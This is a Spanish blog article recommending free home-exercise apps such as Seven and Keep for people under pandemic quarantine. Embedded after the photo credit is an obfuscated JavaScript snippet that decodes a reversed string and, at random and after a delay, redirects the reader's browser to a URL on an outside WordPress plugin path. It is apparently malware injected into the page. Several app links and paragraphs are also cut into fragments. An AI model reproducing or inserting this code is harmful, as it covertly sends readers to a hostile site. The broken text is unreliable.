El mundo está detenido pero tu cuerpo no, conoce las mejores aplicaciones gratuitas para hacer ejercicio en casa y muévete hacia una vida más saludable.
Los gobiernos de muchos países del mundo han estado implementando cuarentenas obligatorias para según ellos, intentar contener la propagación del nuevo virus que ha llegado al mundo y que se está expandiendo con gran rapidez.
En vista de ello, los ciudadanos han optado por mantenerse en sus casas y evitar en lo posible el contacto con otras personas, permitiendo que el tiempo que antes estaba ocupado en distintas tareas cotidianas, ahora pueda ser utilizado en su uso personal. Algunos lo han dedicado para leer, meditar, ver películas, pasar tiempo en familia, estar en sus redes sociales, y hacer ejercicio.
Por eso dejaré un listado de las mejores aplicaciones gratuitas para hacer ejercicio en casa
Foto por: cl.activo.new
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tore/apps/details?id=com.popularapp.sevenmins»>Seven – Entrenamiento en 7 minutos
Hay quienes no son muy amantes de hacer ejercicio, y pensar en 30 minutos de cardio les paraliza hasta las ganas. A ese tipo de personas Seven les ha cambiado la vida, pues les permite realizar movimiento físico, ejercitarse mesuradamente y no traumatizarse en el intento.
La app cuenta con una rutina intensa de 7 minutos diarios que incluye planes personalizados con ejercicios como sentadillas, abdominales, fondos, elevaciones de pierna entre muchos otros que te permitirán mantenerte en forma y tonificar tu cuerpo.
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to si eres principiante o un gran experto, con el pasar de los días las rutinas se irán intensificando para acercarte a tu objetivo, y encontrarás planes diarios que se ajustarán a tu físico.
tokeep.keep.intl»>Keep – Entrenador de Ejercicios Para el Hogar
Keep te ofrece planes de entrenamiento personalizados con los que podrás poner tus metas diarias y realizar rutinas entretenidas. El objetivo de esta aplicación es permitirles a sus usuarios sentirse acompañados y guiados por un profesional en sus entrenamientos sin necesidad de ir al gimnasio.
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La aplicación ofrece más de 400 ejercicios diseñados para tonificar el cuerpo, y un filtro específico para definir el nivel de su condición física y su rutina ideal.
to cardiovascular, sus ejercicios duran de 9 a 20 minutos y su fórmula trata de variar entre un entrenamiento de alta intensidad con ejercicios anaeróbicos que permitan la mejora de la capacidad atlética, el metabolismo y la quema de grasa.
andes beneficios físicos y mentales que te permitirán sentirte más relajado y con mayor capacidad muscular.
En esta app hallarás 27 clases en las que te enseñarán distintas posturas, sus clasificaciones y beneficios, a través de ilustraciones y videos dinámicos que te permitirán seguirle la pista a cada ejercicio.
Es hora de mover tu cuerpo y ver las dificultades que tiene la cuarentena para él, ya no tienes la posibilidad de caminar hacia el trabajo o correr tras el bus. Tu cuerpo aprende muy rápido, no permitas que el sedentarismo se convierta en parte de tus días, descarga la app que más se acomode a tu estilo e inicia el proceso hacia un nuevo y mejorado tú.
Redacción por: Geraldín Guevara @geriital.07
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